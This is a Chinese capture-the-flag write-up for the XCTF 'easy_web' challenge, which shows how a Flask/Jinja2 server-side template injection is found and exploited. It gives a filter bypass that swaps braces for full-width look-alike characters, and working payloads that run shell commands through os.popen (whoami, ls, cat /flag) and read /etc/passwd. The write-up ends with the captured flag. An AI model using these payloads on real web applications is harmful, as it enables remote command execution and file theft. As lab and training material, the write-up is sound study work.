攻防世界——easy_web

打开网站后发现有一个输入框

随便写点东西进去尝试xss注入

发现能回显输入的信息但是在代码中被隐藏了

尝试用dirsearch扫描

什么发现也没有

写点东西抓包看看能抓到什么

发现是python的后端

想到这里应该用的是flask框架,注入点在str

尝试SSTI模板注入

Flask是一个很常用的python框架 ,但在其中有SSTI漏洞。

当用户输入****{{7*7}}****时,{{}}里面的语句会被执行,即返回49。

由包中的信息可知,注入点在str

写入{{7*7}}测试一下

发现被过滤了

fuzz测试看看过滤了什么

发现过滤了所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)

服务器对所有危险字符(触发过滤规则的字符)返回统一的 "过滤响应页面",该对于这个靶机,HTML 长度固定为 198;而合法字符触发正常渲染,返回长度为 小于198的完整页面

对被过滤的字符我们可以进行替换绕过

{ -> ︷/﹛

} -> ︸/﹜

' -> '

, -> ,

用︷ ︸替换{}再测试一遍

输入payload

︷︷7*7︸︸

发现成功注入

jinjia2的SSIT方式

命令执行

{% for c in \[\].class.base.subclasses() %}

{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals'__builtins__'.eval("import('os').popen('whoami').read()") }}

{% endif %}

{% endfor %}

文件查询

{% for c in \[\].class.base.subclasses() %}{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals'__builtins__'.open('/etc/passwd','r').read() }}

{% endif %}{% endfor %}

构造替换好的payload,查看当前目录下的文件(ls)

python 复制代码
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
-->
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

__globals__使用方式是 函数名.globals,返回一个当前空间下能使用的模块,方法和变量的字典。

sys.modules是一个全局字典。

popen('ls').read()为执行ls命令

发现没什么值得注意的

查看根目录(ls /)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

发现flag文件

在根目录下抓取flag(cat /flag)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

成功找到flag

flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

相关推荐
li星野1 小时前
从零构建安全文件上传系统:FastAPI + JWT + 密码哈希 + Streamlit 前端 + SQLite
安全·哈希算法·fastapi
是发财不是旺财1 小时前
Hermes 网关四层权限控制方案:让 AI Agent 安全地查数据库
数据库·安全·agent·openclaw·hermes
持敬chijing1 小时前
Web渗透之前后端漏洞-XSS漏洞原理攻击防御全流程
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析·xss
ZeroNews内网穿透1 小时前
NAS部署Hermes AI Agent + 零讯内网穿透,实现远程可管理的AI助手
人工智能·安全·ai·内网穿透
持敬chijing2 小时前
Web渗透之SQL注入总结
sql·安全·web安全·网络安全·网络攻击模型·web
程序猿小三2 小时前
福建省第一届“闽盾杯“网络安全职业技能竞赛 — 备赛学习路线
开发语言·网络安全·php
kishu_iOS&AI2 小时前
LLM —— 安全和合规性
安全·大模型·agent
m0_738120722 小时前
HVV应急溯源基础——Linux 系统安全加固配置指南(一)
linux·运维·服务器·安全·网络安全·系统安全
guyuyiqi3 小时前
糖精钠检测技术科普
科技·安全·制造
布朗克1684 小时前
26 多线程基础——Thread、Runnable与线程安全
java·安全·多线程